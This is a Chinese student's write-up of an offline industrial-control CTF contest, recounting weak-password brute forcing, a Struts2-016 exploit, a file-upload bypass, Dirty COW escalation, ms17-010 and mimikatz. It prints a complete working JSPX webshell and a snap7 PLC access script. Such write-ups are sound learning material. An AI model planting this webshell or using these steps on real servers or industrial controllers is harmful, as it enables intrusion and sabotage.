前言:

感谢老师的辛苦付出,才有了出去打比赛的机会,感谢学长的盛情款待。本人混子,全靠队伍中的三位大佬带飞。虽然比赛中间服务器有点问题,但主办方是真的好,吃的喝的全有。

刚打完觉得印象挺深刻的,先记录下来自己当时的思路已经在哪里被卡住了,提醒自己下次有的错误不要再犯,吃一堑长一智。

0x01:准备阶段

第一件事就是要先配置IP,如果配置好却访问不到,不要浪费时间直接举手问裁判,会有人帮忙解决,所以这个不是什么大问题。

0x02:比赛开始

待到9点正式开始,主办方公布了Web目录

10.20.170.10:8080/elec/

一开始学长让直接御剑扫描,看能否出来常见的目录,如果出来了,确实可以提前点去做题,可以作为一种方法吧,不过这个目录恐怕爆破不出来,因为不是常见的。

拿到目录后看到页面,我第一感觉是弱口令,但发现有验证码,这点之前接触的不是很深,所以自己手动试了一下发现没有成功就直接转头去用漏洞工具扫描了,看看是否存在CVE漏洞。

然后就发现特别恶心的事情,我发现我的漏洞扫描工具AWVS打不开,一开始以为是phpstudy有问题

结果是服务自己没启动起来,修复一下

#cmd下,输入命令
services.msc


手动启动一下就行了

按照描述去进行测试却发现不行,当时直接用的K8工具,但是但是没设置COOKIE!!!,这点是真xx,所以当时一直卡到这里,觉得只有这个漏洞了,但又利用不了。

看看榜单,再看看我们,心态炸裂,不过还好qwzf通过爆破得到了密码,确实是弱口令

#弱口令账号一般都是admin
username = admin
password = 123qwe
  • 所以比赛后需要去学习下带验证码的爆破,这点之前确实自己没在意

登陆后台之后发现一个100分的flag但经过后来测试发现是可以访问其他队伍的这个后台页面的,并没有隔离开,如果有人搅屎把flag改了就gg了,还好没人改我们的),提交了之后就开始找有文件上传的页面

http://10.20.170.10:8080/elec/system/elecMenuAction_menuHome.do

在这个页面中能够去上传doc文件,观察url后是用jsp写的网站,所以当时认为上传jsp木马就可以,绕过其实比较好绕过,就是最简单的文件上传,抓包拦截更换后缀名即可。比赛后和chumen77讨论了发现还有其他页面可以直接上传文件,可惜当时没时间了就没太在意。

但传上去后发现jsp马却连接不上去,冰蝎的提示都是页面存在,但是无法获取密钥

思维就又停在这里了,但这时学长说利用工具查询到有struct2-016漏洞,再利用工具时注意到了Cookie这个参数,就直接抓包将参数也传上去,测试几个后,qwzf大佬发现在这个url下存在s-016漏洞。(PS:structs2-016漏洞可以获取到shell,但目标地址需为.do文件,一开始我们也是直接扫html页面,太傻了。)

http://10.20.170.10:8080/elec/system/elecMenuAction_main.do
JSESSIONID=81766790EC951D2507C427CC90CA27EB;logonPwd=46F94C8DE14FB36680850768FF1B7F2A;logonName=admin;


然后在一个目录下找到了一个100分的flag,但web题一共有500分,所以还有三道没拿到,需要上马去连接,但大家都被困在这个页面存在,无法获取密钥,然后就比赛中途暂停了

0x03:中途暂停

具体原因不明白,比赛暂停,不过问题不大,恰好累了睡了会觉,醒来还没好,就开始整整一些工具顺便利用这个时间美化一下我的桌面

改成透明的。

之后,香蕉、咖啡、橘子、水等不停的送,第一次参加国赛,觉得是真的好,虽然暂停时间确实长,不过老师和主办方的态度是真的好,用chumen77大佬的话来说就是真不错

0x04:比赛恢复

暂停了将近5个小时,比赛结束时间只延迟了半个小时,所以说有点紧张,主办方应该也是考虑到时间问题,直接将内网IP给了出来,直接打内网也行,web题的话现在只拿了200分,按照参赛书上是还有300分,所以就兵分两路,学长、qwzf去搞内网,我和chumen77搞web.

转换思路,jsp文件虽然上传成功,但总连接不上去,所以我就想去尝试一下jspx木马

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>

用冰蝎自带的马去连接,密码为pass,结果还真的连接上去了

whoami查询一下,发现不是root权限,估计之后可能需要进行提权操作,就先去找一下flag,结果找到了两个flag,一个直接提交获得了300分,另一个只有root权限才能查看,所以需要提权。(赛后看大佬们的方法,可以直接查看历史记录:cat .bash_history,直接看历史命令获取到flag,而我们则是找的,太慢了,学到了)

恰好我之前刚弄完提权,其中脏牛提权比较常见,因此试一下脏牛提权

gcc -pthread dirty.c -o dirty -lcrypt
./dirty

提权成功,但发现过几秒就崩溃了,整个网站都访问不了,最后来来回回重启四遍服务器,结束后看大佬们的交流这个提权确实会导致服务器崩溃,但chumen77大佬直接抢在这几秒前把命令给敲出来了,简单分析一下即可得到flag.

qwzf大佬直接对内网主机10.20.110.200进行端口扫描,发现开放了445端口,ms17-010搞到了内网权限,结果四个人傻眼了,Windows服务器,结果不知道该咋查到flag了,时间也紧张,就剩10分钟,所以就很可惜,还是对windows服务器的一些命令不熟悉导致的,比赛结束后还是要去学习。
(注意kail要桥接模式,还要自己设置对应的IP地址才能打通)

赛后看师傅们的WP:

msf-windows下,一些常用命令:

文件查找命令

for /r 目录名 %变量名 in (匹配模式1,匹配模式2) do 命令
for /r  %i in (.txt) do @echo %i#在当前目录下查找后缀为txt的文件
for /r  %i in (test) do @echo %i#在当前目录下查找名字中包含test的文件

文件查看命令

type flag.txt

密码查找命令

load mimikatz
mimikatz_command  -f seaurlsa::searchPasswords

查看自启动程序及其路径

wmic startup list full

0x06:赛后总结

一:由于时间紧张,所以主办方直接说出了内网地址,没有再给有蜜罐服务器的地址,所以我们一开始就直接从正确的入手了,但依旧是不知道如何去辨别蜜罐,所以蜜罐需要学习一下
二:内网打通后,便开始控制plc,需要针对PLC q区进行输出控制,但是没有做到这一步,收集点脚本以备后用

import snap7
from snap7.util import *
from snap7.snap7types import *
PLC_obj=snap7.client.Client()
PLC_obj.connect('192.168.0.1',rack=0,slot=2)
Real_Value=PLC_obj.read_area(0x84,7,46,4)#0x84为DB区的对应编号,7为块编号,46为起始地址,4为变量长度
get_real(Real_Value,0)

各分区对应编号

'PE': 0x81,  #input 输入区,即I区
'PA': 0x82,  #output 输出区,即Q区
'MK': 0x83,  #bit memory 中间存储区(M区)
'DB': 0x84,  #DB区
'CT': 0x1C,  #counters
'TM': 0x1D,  #Timers

安装可以github上的方法去做。

总之这次比赛那也学到很多东西,也认识到了自己还有很多东西没有学,继续加油,冲冲冲!

参考博客

工控杯WP

“中能融合杯”线下赛感悟相关推荐

  1. awd赛题的flag是什么意思_红帽杯线下赛AWD题目分析

    上周打了一场红帽杯的线下赛,可惜开具发挥失误服务器down了几轮一度垫底-最后才又勉强上了点儿分-..赛后对题目中的几处比较有意义的漏洞做了一下分析,写出了下面篇文章. web1 web1是一个wor ...

  2. 参加ISCC2019线下赛感悟

    前言:第一次参加线下比赛,虽然是替补,但能够去看看就已经很兴奋了,也见到了很多大佬,真的学习了一波. 由于没有进入现场比赛,AWD模式也不太熟悉,不过有资源自己可以搭一个靶机玩玩,待到暑假好好玩玩,目 ...

  3. [CTF]GUET梦极光杯线下赛web部分WP

    Cover with trick 双写绕过,变量覆盖 Construct Master "%07%15%05%14%03%14%06"|"%60%60%60%60%60% ...

  4. “中能融合杯”第六届工控大赛线上赛部分题总结与复现

    前言 "中能融合杯"第六届工控大赛线上赛已经结束,题目只有杂项题(包括工控题)和逆向题.作为一名Web狗,就只能去做杂项了,杂项题挺容易的,好多都是以前的原题.关卡4的3个题发现应 ...

  5. ISCC线下赛参赛感悟

    关于ISCC线下赛参赛感悟(之前就想发出来了,但是一直没时间,刚好赶上了1024就浅浅发一下吧) 一句话感悟 我好菜呀,ctf菜,awd更菜. 关于CTF部分 总结: 大佬是真的牛,选择题290+,不 ...

  6. 全国大学生智能汽车竞赛-讯飞赛道线下赛开始报名啦!

    五月将至,迅飞赛道线下赛等你! 01 赛事介绍 「全 国大学生智能汽车竞赛 」是教育部倡导的大学生科技A类竞赛,中国高等教育学会将其列为含金量最高的大学生竞赛之一.比赛每年吸引了包括清华.上交.复旦. ...

  7. CTF线下赛AWD攻防准备

    CTF线下赛AWD攻防准备 最近发现一篇博客.感觉对CTF线下赛-AWD模式,总结比较好.于是学习了解了一下,为了方便寻找,把这篇博客复制了过来,并补充了点... 1.赛制流程:攻防模式(AWD)常见 ...

  8. awd的批量脚本 pwn_CTF线下赛AWD套路小结

    CTF线下赛AWD套路小结 本文已在先知社区发表,欢迎访问,链接h 最近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一.AWD模式简介 AWD ...

  9. CTF线下赛AWD总结

    AWD 记录一下自己最近参加的线下攻防比赛,没时间学习了,就准备了几天,果然不出意外的被安全专业的大佬打得很惨. 缺点是不会攻击,我和我队友两个人就只有防,AWD防了400分,综合渗透拿了200分. ...

最新文章

  1. 人类如何面对AI挑战
  2. vscode自定义HTML、vue等模板内容(一个、多个)- 教程篇
  3. 苹果 5G 芯片“难产”!
  4. java 表格树_00030-layui+java 树形表格treeTable
  5. LeetCode简单题目(二叉树相关)(#100 #101 #104 #107 #108 #110 #111 #112)-8道
  6. sitemesh2.4
  7. 在php页面出现乱码的原因,html网页乱码原因与解决方法
  8. JsonFormat注解转换时间错误问题解决方案
  9. 通过js引入本地图片地址
  10. 如何领取门票参加中国北京科技产业博览会?
  11. 推荐一个不到2MB的C#开发工具箱,集成了上千个常用操作类
  12. Oracle SQL:update更新语句总结
  13. JVM —— Java 对象占用空间大小计算
  14. python爬取网站的某一句话_Python实现JS解密并爬取某音漫客网站
  15. 超级应用成为战略技术趋势,企业建设应该如何落地
  16. Python base64与图片之间的转换
  17. 设置TextBox控件的高度文档翻译
  18. 听SEO大神夜息分享
  19. java从读者到开发人
  20. Android 使用gif 动图

热门文章

  1. 原字体_在包装上玩转字体
  2. Cocos2d—android 中常用的工具类
  3. java for loop_Java for循环执行了两次
  4. CIKM 2021 | Deep Retrieval:字节跳动深度召回模型论文精读
  5. CVPR 2021 | Facebook提出FP-NAS:搜索速度更快、分类精度更高、性能更好
  6. CVPR 2019 | 针对人脸识别系统的高效黑盒对抗攻击算法
  7. SIGIR 2019 开源论文 | 基于图神经网络的协同过滤算法
  8. Seq2Seq之双向解码机制 | 附开源实现
  9. 谣言止于智者:基于深度强化学习的谣言早期检测模型
  10. POJ 3104 Drying【二分搜索】最大化最小值问题